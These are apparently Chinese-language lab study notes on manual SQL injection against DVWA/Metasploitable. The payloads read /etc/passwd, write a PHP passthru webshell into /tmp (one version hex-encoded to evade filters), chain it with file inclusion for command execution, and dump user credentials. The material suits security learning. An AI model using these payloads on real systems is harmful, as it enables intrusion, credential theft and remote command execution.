Kali學習筆記40:SQL手工註入(2)
上一篇講到可以通過註入得到數據庫中所有的表信息
而SQL註入能不能做數據庫之外的事情呢?
讀取文件:
‘ union select null,load_file(‘/etc/passwd‘) --
為了方便進行測試,後邊我使用Burpsuite
既然可以讀取文件了,那麽也就可以寫文件:比如經典的PHP一句話
‘ union select null,"<?php passthru($_GET[‘cmd‘]);?>" INTO DUMPFILE "/var/www/a.php" --
結果是無法寫入文件,這是什麽原因呢?
我猜測是目錄權限的問題
於是去掉/var/www
‘ union select null,"<?php passthru($_GET[‘cmd‘]);?>" INTO DUMPFILE ‘a.php‘ --
成功,所以得出應該是目錄問題
首先我們看一下上傳成功的文件在哪個目錄:
發現在/var/lib/mysql/dvwa下存放
查看後發現屬主和屬組是Mysql,其他用戶無法訪問,甚至mysql組其他用戶都沒有權限
然後我們以root的身份進入dvwa目錄查看a.php
那麽我們就沒有辦法把這一句話PHP文件寫入到指定位置了嗎?
我們可以結合以前提到的文件包含漏洞,寫入通用目錄/tmp/,最終達到命令執行
實現:
寫入:註意這裏的單雙引號
‘ union select null,"<?php passthru($_GET[‘cmd‘]);?>" INTO DUMPFILE "/tmp/a.php" --
然後利用文件包含漏洞:
最終成功!
所以SQL註入寫文件,是以mysql用戶寫入的,所以可以采用中間目錄的方法,然後結合其他漏洞完成命令執行
如果目標系統管理員的權限配置不當,那麽只要能夠SQL註入,就可以直接拿到shell
既然可以上傳一句話PHP,那麽也可以上傳反彈連接PHP腳本
找到Kali自帶的PHP反彈連接腳本,重命名為b.php,利用xxd轉換為十六進制
由於服務器通常會過濾<?以及換行符,我們再使用tr去除換行符
得到一堆16進制,復制出來,替換位置(1)
‘ union select null,(0x(1)) INTO DUMPFILE "/tmp/b.php" --
發送之後,理論上會成功,但是由於URL過長,報錯
可以換一個小木馬,甚至就使用剛才的a.php
‘%20union%20select%20null,%20(0x3c3f70687020706173737468727528245f4745545b27636d64275d293b3f3e)%20INTO%20DUMPFILE%20"/tmp/b.php"%20--%20
進行URL編碼後就是上邊的結果:註意(0x之前必須加一個空格!
在metasploitable中查到了,實際上就是剛才的a.php內容,但是我們使用十六進制編碼繞過了過濾
驗證命令執行:
成功!
有時候,數據庫的內容太多,我們不可以在一個頁面中觀看
所以考慮如何直接把數據庫下載下來
‘ union select null,concat(user,0x3a,password) from users INTO OUTFILE "/tmp/a.db" --
查看:
擴展:一個思路
我們甚至可以直接給目標開發一個功能:自定義一個表單,輸入信息,然後在數據庫插入信息
‘ union select null,‘<?php if(isset($_POST["submit"])) { $userID = $_POST["userID"]; $first_name = $_POST["first_name"]; $last_name = $_POST["last_name"]; $username = $_POST["username"]; $avatar = $_POST["avatar"]; echo "userID: $userID<BR>"; echo "first_name: $first_name<BR>"; echo "last_name: $last_name<BR>"; echo "username: $username<BR>"; echo "avatar: $avatar<BR>"; $con=mysqli_connect("127.0.0.1","root","","dvwa"); if (mysqli_connect_errno()) { echo "Failed to connect to MySQL: " . mysqli_connect_error(); } else { echo "Connected to database<BR>"; } $password = "123"; $sql="insert into dvwa.users values (\\"$userID\\",\"$first_name\\",\\"$last_name\\",\\"$username\\",MD5(\\"$password\\"),\\"$avatar\")"; if (mysqli_query($con,$sql)) { echo "[Successful Insertion]: $sql"; } else { echo "Error creating database: " . mysqli_error($con); } mysqli_close($con); } ?> <form method="post" action="<?php echo $_SERVER["PHP_SELF"]; ?>"> <input type="text" name="userID"
><br> <input type="text" name="first_name"><br> <input type="text" name="last_name"><br> <input type="text" name="username"><br> <input type="text" name="avatar"><br> <input type="submit" name="submit" value="Submit Form"><br> </form>‘ INTO DUMPFILE "/tmp/user.php" --
然後利用文件包含漏洞,即可利用
這種方式實際上並沒有成功,不過可以作為一個思路
Kali學習筆記40:SQL手工註入(2)